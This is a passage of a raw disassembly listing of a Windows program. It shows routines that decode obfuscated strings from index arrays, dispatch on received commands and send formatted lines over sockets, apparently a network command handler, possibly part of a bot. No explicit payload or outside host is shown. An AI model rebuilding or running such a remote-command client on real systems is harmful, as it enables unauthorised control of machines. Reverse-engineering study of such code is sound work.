retn
sub_411860 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4118E0: ; CODE XREF: ___:loc_40115Ej
; ___:004016EAj
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_4118F8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4118F8: ; CODE XREF: ___:004118EDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411910 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411910
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40196A
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411910 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411990 proc near ; CODE XREF: sub_402054j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411990
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411990 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411A50 proc near ; CODE XREF: sub_40196Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411A50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411A50 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411B10 proc near ; CODE XREF: sub_4019D3j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40196A
test [esp+4+arg_0], 1
jz short loc_411B28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_411B28: ; CODE XREF: sub_411B10+Dj
mov eax, esi
pop esi
retn 4
sub_411B10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_411B40 proc near ; CODE XREF: sub_401A0Aj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411B40
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_411B66
lea edi, [esi+11h]
jmp short loc_411B68
; ---------------------------------------------------------------------------
loc_411B66: ; CODE XREF: sub_411B40+1Fj
xor edi, edi
loc_411B68: ; CODE XREF: sub_411B40+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4019B5
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_4017E4
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_411B40 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411BBC
lea ebx, [esi+11h]
jmp short loc_411BBE
; ---------------------------------------------------------------------------
loc_411BBC: ; CODE XREF: ___:00411BB5j
xor ebx, ebx
loc_411BBE: ; CODE XREF: ___:00411BBAj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+38h]
push 9
push edx
call sub_4019B5
add esp, 34h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 1
call sub_4017E4
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C1B
lea ebx, [esi+11h]
jmp short loc_411C1D
; ---------------------------------------------------------------------------
loc_411C1B: ; CODE XREF: ___:00411C14j
xor ebx, ebx
loc_411C1D: ; CODE XREF: ___:00411C19j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+24h]
push 9
push ecx
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 2
call sub_4017E4
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C70
lea ebx, [esi+11h]
jmp short loc_411C72
; ---------------------------------------------------------------------------
loc_411C70: ; CODE XREF: ___:00411C69j
xor ebx, ebx
loc_411C72: ; CODE XREF: ___:00411C6Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+24h]
push 9
push eax
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 3
call sub_4017E4
lea ecx, [esi+16Ah]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411CC5
lea ebx, [esi+11h]
jmp short loc_411CC7
; ---------------------------------------------------------------------------
loc_411CC5: ; CODE XREF: ___:00411CBEj
xor ebx, ebx
loc_411CC7: ; CODE XREF: ___:00411CC3j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+20h]
push 9
push edx
call sub_4019B5
add esp, 1Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 4
call sub_4017E4
push eax
lea eax, [esi+1F4h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D18
lea ebx, [esi+11h]
jmp short loc_411D1A
; ---------------------------------------------------------------------------
loc_411D18: ; CODE XREF: ___:00411D11j
xor ebx, ebx
loc_411D1A: ; CODE XREF: ___:00411D16j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+2Ch]
push 9
push ecx
call sub_4019B5
add esp, 28h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 5
call sub_4017E4
lea edx, [esi+0B2h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D71
lea ebx, [esi+11h]
jmp short loc_411D73
; ---------------------------------------------------------------------------
loc_411D71: ; CODE XREF: ___:00411D6Aj
xor ebx, ebx
loc_411D73: ; CODE XREF: ___:00411D6Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019B5
add esp, 38h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 6
call sub_4017E4
lea ecx, [esi+56h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411DCF
lea ebx, [esi+11h]
jmp short loc_411DD1
; ---------------------------------------------------------------------------
loc_411DCF: ; CODE XREF: ___:00411DC8j
xor ebx, ebx
loc_411DD1: ; CODE XREF: ___:00411DCDj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+30h]
push 9
push edx
call sub_4019B5
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 7
call sub_4017E4
push eax
lea eax, [esi+10Eh]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E2A
lea ebx, [esi+11h]
jmp short loc_411E2C
; ---------------------------------------------------------------------------
loc_411E2A: ; CODE XREF: ___:00411E23j
xor ebx, ebx
loc_411E2C: ; CODE XREF: ___:00411E28j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+30h]
push 9
push ecx
call sub_4019B5
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 8
call sub_4017E4
lea edx, [esi+198h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E85
lea ebx, [esi+11h]
jmp short loc_411E87
; ---------------------------------------------------------------------------
loc_411E85: ; CODE XREF: ___:00411E7Ej
xor ebx, ebx
loc_411E87: ; CODE XREF: ___:00411E83j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 9
call sub_4017E4
add esi, 13Ch
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+44h], edi
call sub_401226
mov ecx, [esp+3Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411FE0 proc near ; CODE XREF: sub_401AB9j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411FE0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412509
lea ecx, [edi+26Dh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412509
lea ecx, [edi+0A1h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4120E2
push offset asc_443600 ; " "
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
mov edx, dword_4470F0
push eax
push edx
add edi, 0FFFFFFEFh
push offset dword_443CDC
push edi
call sub_401E0B
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_4120E2: ; CODE XREF: sub_411FE0+70j
lea ecx, [edi+187h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_412159
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401D39
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_4017E4
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_401848
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_412159: ; CODE XREF: sub_411FE0+117j
lea ecx, [edi+0FDh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412214
push offset asc_443600 ; " "
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4018A2
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_401226
test ebx, ebx
jz loc_412532
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401D39
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_4017E4
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_401848
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_412214: ; CODE XREF: sub_411FE0+18Ej
lea ecx, [edi+12Bh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4122BD
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea edx, [esp+98h+var_6C]
mov ebx, 5
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
mov eax, dword_4470F4
push eax
add edi, 0FFFFFFEFh
push offset aSSS_0 ; "%s %s %s\r\n"
push edi
call sub_401E0B
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_4122BD: ; CODE XREF: sub_411FE0+249j
lea ecx, [edi+1B5h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41232B
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_4017E4
mov edx, dword_447120
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSS_0 ; "%s %s\r\n"
push edi
call sub_401E0B
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41232B: ; CODE XREF: sub_411FE0+2F2j
lea ecx, [edi+23Fh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41238D
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401E2E
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_4017E4
push eax
add edi, 0FFFFFFEFh
push offset dword_443CD4
push edi
call sub_401E0B
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41238D: ; CODE XREF: sub_411FE0+360j
lea ecx, [edi+1E3h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41242D
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, eax
push 1
push offset asc_443600 ; " "
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011EA
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_4014D3
push eax
mov ecx, esi
call sub_4014D3
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_401118
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41242D: ; CODE XREF: sub_411FE0+3C2j
lea ecx, [edi+159h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412532
push offset asc_443600 ; " "
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_4016AE
mov ebx, eax
push offset asc_443600 ; " "
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
mov eax, dword_447124
push eax
add edi, 0FFFFFFEFh
push offset dword_443CC4
push edi
call sub_401E0B
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_401226
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401226
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_412532
; ---------------------------------------------------------------------------
loc_412509: ; CODE XREF: sub_411FE0+3Aj
; sub_411FE0+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
nop
call near ptr 71AB9639h
mov ecx, offset word_448C8E
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_401537
loc_412532: ; CODE XREF: sub_411FE0+FDj
; sub_411FE0+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_411FE0 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4126B0 proc near ; CODE XREF: sub_401D39j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4126B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push esi
mov esi, ecx
lea ecx, [esp+50h+var_24]
mov [esp+50h+var_48], 0
call sub_401424
xor eax, eax
lea ecx, [esp+50h+var_4C]
mov [esp+50h+var_44], eax
lea edx, [esp+50h+var_44]
mov [esp+50h+var_40], eax
push ecx
mov [esp+54h+var_3C], eax
push edx
mov [esp+58h+var_38], eax
mov eax, [esi+18h]
push eax
mov [esp+5Ch+var_4], 1
mov [esp+5Ch+var_4C], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+50h+var_40+3]
mov edx, [esp+50h+var_40+2]
mov eax, [esp+50h+var_40+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+54h+var_40]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+60h+var_34]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr byte_5EA1BD
add esp, 18h
lea ecx, [esp+50h+var_24]
push offset byte_446F60
call sub_4015D7
push offset dword_443D08
lea ecx, [esp+54h+var_24]
call sub_401A9B
lea eax, [esp+50h+var_34]
lea ecx, [esp+50h+var_24]
push eax
call sub_401A9B
push offset dword_443D04
lea ecx, [esp+54h+var_24]
call sub_401A9B
add esi, 28h
lea ecx, [esp+50h+var_24]
push esi
call sub_4016BD
push offset dword_443D04
lea ecx, [esp+54h+var_24]
call sub_401A9B
lea ecx, [esp+50h+var_34]
push ecx
call sub_401479
add esp, 4
test al, al
jz short loc_4127BB
push offset dword_443CF8
jmp short loc_4127C0
; ---------------------------------------------------------------------------
loc_4127BB: ; CODE XREF: sub_4126B0+102j
push offset dword_443CEC
loc_4127C0: ; CODE XREF: sub_4126B0+109j
lea ecx, [esp+54h+var_24]
call sub_401A9B
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_24]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+50h+var_48], 1
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
mov ecx, [esp+50h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 4Ch
retn 4
sub_4126B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412870 proc near ; CODE XREF: sub_401582j
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
nop
call near ptr 71AB428Ah
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_4128CE
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_448C8E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401537
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4128CE: ; CODE XREF: sub_412870+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_412870 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412900 proc near ; CODE XREF: sub_401E0Bj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_436840
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_401582
add esp, 2000h
retn
sub_412900 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412970 proc near ; CODE XREF: sub_401118j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_412970
push eax
mov al, [esp+0Ch+arg_0]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_4129A7
xor al, al
pop esi
mov ecx, [esp+3Ch+var_C]
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
loc_4129A7: ; CODE XREF: sub_412970+21j
lea ecx, [esp+40h+var_3C]
call sub_401424
mov al, [esp+40h+arg_4]
mov [esp+40h+var_4], 0
test al, al
jz short loc_4129C8
mov eax, dword_4470F0
push eax
jmp short loc_4129CF
; ---------------------------------------------------------------------------
loc_4129C8: ; CODE XREF: sub_412970+4Ej
mov ecx, dword_4470F8
push ecx
loc_4129CF: ; CODE XREF: sub_412970+56j
lea ecx, [esp+44h+var_3C]
call sub_4015D7
push ebx
lea ecx, [esp+44h+var_24]
call sub_401424
mov edx, [esp+44h+arg_8]
mov eax, [esp+44h+arg_C]
push edx
push eax
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+50h+var_24]
push offset dword_443CDC
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+44h+var_24]
call sub_4014D3
push eax
mov ecx, esi
call sub_401582
lea ecx, [esp+44h+var_24]
mov bl, al
mov byte ptr [esp+44h+var_4], 0
call sub_401226
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+44h+var_C]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_412970 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412AA0 proc near ; CODE XREF: sub_401848j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov eax, 2000h
call sub_436840
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_401118
add esp, 2000h
retn
sub_412AA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B20 proc near ; CODE XREF: sub_401D0Cj
push esi
mov esi, ecx
call sub_401FB9
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_412B20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B50 proc near ; CODE XREF: sub_401FB9j
push esi
mov esi, ecx
xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
call near ptr 71AB9639h
nop
mov ecx, offset word_448C8E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401537
pop esi
retn
sub_412B50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B90 proc near ; CODE XREF: sub_401721j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_412B90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412BC0 proc near ; CODE XREF: sub_401B54j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_40170D
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
sub_412BC0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412C10 proc near ; CODE XREF: sub_401F00j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412C10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
